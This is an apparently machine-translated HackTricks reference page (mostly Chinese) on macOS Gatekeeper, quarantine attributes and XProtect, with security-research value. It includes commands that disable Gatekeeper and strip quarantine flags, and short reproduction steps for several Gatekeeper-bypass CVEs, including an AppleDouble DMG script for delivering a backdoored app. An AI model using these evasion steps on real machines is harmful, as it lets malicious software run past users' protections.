hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md

21 KiB
Raw Blame History

macOS Gatekeeper / Quarantine / XProtect

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Gatekeeper

Gatekeeper是为Mac操作系统开发的一项安全功能旨在确保用户在其系统上只运行可信任的软件。它通过验证用户从App Store以外的来源下载并尝试打开的软件(如应用程序、插件或安装程序包)来实现。

Gatekeeper的关键机制在于其验证过程。它检查下载的软件是否由已知开发者签名,以确保软件的真实性。此外,它还确定软件是否经过了Apple的公证,以确认其不包含已知的恶意内容,并且在公证后没有被篡改。

此外Gatekeeper通过提示用户批准首次打开下载的软件来加强用户控制和安全性。这个保护措施有助于防止用户无意中运行可能有害的可执行代码,而他们可能将其误认为是无害的数据文件。

应用程序签名

应用程序签名也称为代码签名是Apple安全基础设施的关键组成部分。它们用于验证软件作者的身份(开发者)并确保代码自上次签名以来没有被篡改。

以下是其工作原理:

  1. 签署应用程序:当开发者准备分发他们的应用程序时,他们使用一个私钥对应用程序进行签名。这个私钥与开发者在加入Apple开发者计划时获得的证书相关联。签名过程涉及对应用程序的所有部分创建一个加密哈希,并使用开发者的私钥对该哈希进行加密。
  2. **分发应用程序:**签名的应用程序随后与开发者的证书一起分发给用户,该证书包含相应的公钥。
  3. 验证应用程序:当用户下载并尝试运行应用程序时他们的Mac操作系统使用开发者证书中的公钥解密哈希。然后它根据应用程序的当前状态重新计算哈希并将其与解密的哈希进行比较。如果它们匹配这意味着应用程序自开发者签名以来没有被修改,系统允许应用程序运行。

应用程序签名是Apple的Gatekeeper技术的重要组成部分。当用户尝试打开从互联网下载的应用程序Gatekeeper会验证应用程序的签名。如果它使用由Apple颁发给已知开发者的证书进行签名并且代码没有被篡改Gatekeeper允许应用程序运行。否则它会阻止应用程序并向用户发出警报。

从macOS Catalina开始Gatekeeper还会检查应用程序是否经过了Apple的公证增加了额外的安全层。公证过程会检查应用程序是否存在已知的安全问题和恶意代码如果这些检查通过Apple会向应用程序添加一个Gatekeeper可以验证的凭证。

检查签名

在检查一些恶意软件样本时,你应该始终检查二进制文件的签名,因为签名它的开发者可能已经与恶意软件有关联。

# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

# Check if the apps contents have been modified
codesign --verify --verbose /Applications/Safari.app

# Get entitlements from the binary
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms

# Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

# Sign a binary
codesign -s <cert-name-keychain> toolsdemo

Notarization

苹果的验签过程是一种额外的保护措施,用于保护用户免受潜在有害软件的侵害。它涉及开发者将他们的应用程序提交给苹果的验签服务进行审查,这与应用审核不应混淆。该服务是一个自动化系统,会对提交的软件进行检查,以查找恶意内容和代码签名可能存在的问题。

如果软件在没有引起任何关注的情况下通过了这个检查验签服务会生成一个验签凭证。然后开发者需要将这个凭证附加到他们的软件上这个过程被称为“stapling”。此外验签凭证也会在网上发布Gatekeeper苹果的安全技术可以访问它。

当用户首次安装或执行软件时验签凭证的存在无论是附加到可执行文件上还是在线找到会通知Gatekeeper该软件已由苹果进行了验签。因此Gatekeeper会在初始启动对话框中显示一个描述性消息指示该软件已经通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件的安全信心。

枚举GateKeeper

GateKeeper是多个安全组件用于阻止不受信任的应用程序的执行同时也是其中一个组件。

可以使用以下命令查看GateKeeper的状态

# Check the status
spctl --status

{% hint style="danger" %} 请注意GateKeeper 签名检查仅针对具有隔离属性的文件进行。 {% endhint %}

GateKeeper 将根据首选项和签名检查来确定是否可以执行二进制文件:

保存此配置的数据库位于 /var/db/SystemPolicy。您可以使用以下命令以 root 身份检查此数据库:

# Open database
sqlite3 /var/db/SystemPolicy

# Get allowed rules
SELECT requirement,allow,disabled,label from authority where label != 'GKE' and disabled=0;
requirement|allow|disabled|label
anchor apple generic and certificate 1[subject.CN] = "Apple Software Update Certification Authority"|1|0|Apple Installer
anchor apple|1|0|Apple System
anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists|1|0|Mac App Store
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]

请注意,第一条规则以“App Store”结尾,第二条规则以“Developer ID”结尾,并且在之前的图像中,它被设置为允许执行来自App Store和已识别开发者的应用程序

如果您将该设置修改为App Store那么“已经签名的开发者ID”规则将消失。

还有成千上万个GKE类型的规则

SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
cdhash H"5fd63f5342ac0c7c0774ebcbecaf8787367c480f"|1|0|GKE
cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE

这些哈希值来自于 /var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth, /var/db/gke.bundle/Contents/Resources/gk.db/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db

spctl 的选项 --master-disable--global-disable 将完全禁用这些签名检查:

# Disable GateKeeper
spctl --global-disable
spctl --master-disable

# Enable it
spctl --global-enable
spctl --master-enable

当完全启用时,将出现一个新选项:

可以使用以下方法检查GateKeeper是否允许应用程序

spctl --assess -v /Applications/App.app

可以通过GateKeeper添加新规则来允许执行特定应用程序

# Check if allowed - nop
spctl --assess -v /Applications/App.app
/Applications/App.app: rejected
source=no usable signature

# Add a label and allow this label in GateKeeper
sudo spctl --add --label "whitelist" /Applications/App.app
sudo spctl --enable --label "whitelist"

# Check again - yep
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted

检疫文件

在下载应用程序或文件时,特定的 macOS 应用程序(如网络浏览器或电子邮件客户端)会为下载的文件附加一个称为“检疫标志”的扩展文件属性。该属性作为一项安全措施,将文件标记为来自不受信任的来源(互联网),并可能携带风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。

当用户尝试执行文件时,检疫标志的存在会触发 macOS 的 Gatekeeper 安全功能

在没有检疫标志的情况下(例如通过某些 BitTorrent 客户端下载的文件Gatekeeper 的检查可能不会执行。因此,用户在打开从不安全或未知来源下载的文件时应谨慎。

{% hint style="info" %} 验证代码签名的有效性是一个资源密集型的过程,其中包括生成代码及其所有捆绑资源的加密哈希。此外,检查证书的有效性还涉及在线检查苹果服务器,以查看其是否在签发后被吊销。出于这些原因,每次启动应用程序时运行完整的代码签名和公证检查是不切实际的

因此,这些检查仅在执行带有检疫属性的应用程序时运行。 {% endhint %}

{% hint style="warning" %} 此属性必须由创建/下载文件的应用程序设置

但是,沙盒化的文件将为它们创建的每个文件设置此属性。非沙盒化的应用程序可以自行设置此属性,或者在 Info.plist 中指定 LSFileQuarantineEnabled 键,系统将在创建的文件上设置 com.apple.quarantine 扩展属性。 {% endhint %}

可以使用以下命令检查其状态并启用/禁用(需要 root 权限):

spctl --status
assessments enabled

spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"

您还可以使用以下命令查找文件是否具有扩展属性

xattr file.png
com.apple.macl
com.apple.quarantine

检查扩展属性,并找出写入隔离属性的应用程序:

xattr -l portada.png
com.apple.macl:
00000000  03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3  |..S.U..LN.....P.|
00000010  16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB  |....'cd...O.....|
00000020  89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3  |.S....'cd...O...|
00000030  D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00  |...S............|
00000040  00 00 00 00 00 00 00 00                          |........|
00000048
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# 00c1 -- It has been allowed to eexcute this file
# 607842eb -- Timestamp
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded

然后使用以下命令删除该属性:

xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

使用以下命令查找所有被隔离的文件:

{% code overflow="wrap" %}

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

{% endcode %}

隔离信息也存储在由LaunchServices管理的中央数据库中路径为**~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2**。

XProtect

XProtect是macOS中内置的反恶意软件功能。XProtect会在应用程序首次启动或修改时根据其已知恶意软件和不安全文件类型的数据库对其进行检查。当你通过某些应用程序如Safari、Mail或Messages下载文件时XProtect会自动扫描该文件。如果文件与其数据库中的任何已知恶意软件匹配XProtect将阻止文件运行并向你发出警报。

XProtect数据库由Apple定期更新包含新的恶意软件定义并且这些更新会自动下载和安装到你的Mac上。这确保了XProtect始终与最新的已知威胁保持同步。

然而,值得注意的是,XProtect并不是一个功能完备的防病毒解决方案。它只检查特定的已知威胁列表,并且不像大多数防病毒软件那样执行实时扫描。

你可以获取有关最新XProtect更新的信息运行以下命令

{% code overflow="wrap" %}

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

{% endcode %}

XProtect位于SIP保护的位置**/Library/Apple/System/Library/CoreServices/XProtect.bundle**在该bundle中您可以找到XProtect使用的信息

  • XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist允许具有这些cdhashes的代码使用旧版授权。
  • XProtect.bundle/Contents/Resources/XProtect.meta.plist禁止通过BundleID和TeamID加载的插件和扩展列表或指示最低版本。
  • XProtect.bundle/Contents/Resources/XProtect.yara用于检测恶意软件的Yara规则。
  • XProtect.bundle/Contents/Resources/gk.db包含被阻止的应用程序和TeamID的哈希的SQLite3数据库。

请注意还有另一个与XProtect相关的应用程序**/Library/Apple/System/Library/CoreServices/XProtect.app**与Gatekeeper进程无关。

Gatekeeper绕过

任何绕过Gatekeeper的方式成功让用户下载并在Gatekeeper应该禁止的情况下执行都被视为macOS中的漏洞。以下是一些过去允许绕过Gatekeeper的技术所分配的CVE

CVE-2021-1810

当使用Archive Utility解压缩时,路径超过886个字符的文件将无法继承com.apple.quarantine扩展属性从而可以绕过Gatekeeper对这些文件的限制

有关更多信息,请查看原始报告

CVE-2021-30990

当使用Automator创建应用程序时,关于其执行所需信息存储在application.app/Contents/document.wflow中,而不是可执行文件中。可执行文件只是一个名为Automator Application Stub的通用Automator二进制文件。

因此,您可以将application.app/Contents/MacOS/Automator\ Application\ Stub通过符号链接指向系统中的另一个Automator Application Stub,它将执行document.wflow中的内容您的脚本而不会触发Gatekeeper因为实际的可执行文件没有隔离属性。

示例预期位置:/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

有关更多信息,请查看原始报告

CVE-2022-22616

在此绕过中创建了一个zip文件application.app/Contents开始压缩,而不是从application.app开始。因此,隔离属性被应用于来自application.app/Contents的所有文件但未应用于Gatekeeper检查的application.app因此Gatekeeper被绕过因为当触发application.app时,它没有隔离属性

zip -r test.app/Contents test.zip

查看原始报告以获取更多信息。

CVE-2022-32910

即使组件不同,利用此漏洞的方法与之前的漏洞非常相似。在这种情况下,我们将从**application.app/Contents生成一个Apple Archive因此application.app在被Archive Utility解压缩时不会获得隔离属性**。

aa archive -d test.app/Contents -o test.app.aar

请查看原始报告以获取更多信息。

CVE-2022-42821

ACL writeextattr 可用于防止任何人在文件中写入属性:

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

此外,AppleDouble文件格式会复制包含其ACE的文件。

源代码中,可以看到存储在名为**com.apple.acl.text的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此如果您将应用程序压缩为使用AppleDouble**文件格式的zip文件并且该ACL阻止其他xattr写入它...则隔离xattr不会设置到应用程序中

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file shuold be without a wuarantine xattr

查看原始报告以获取更多信息。

CVE-2023-27943

发现Google Chrome未设置下载文件的隔离属性这是由于一些macOS内部问题引起的。

CVE-2023-27951

AppleDouble文件格式将文件的属性存储在以._开头的单独文件中这有助于在macOS设备之间复制文件属性。然而注意到在解压AppleDouble文件后._开头的文件未被赋予隔离属性

{% code overflow="wrap" %}

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

{% endcode %}

能够创建一个没有设置隔离属性的文件这样就有可能绕过Gatekeeper。诀窍是使用AppleDouble命名约定._开头创建一个DMG文件应用程序并创建一个可见文件作为对这个没有隔离属性的隐藏文件的符号链接。当执行dmg文件时由于它没有隔离属性它将绕过Gatekeeper。

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥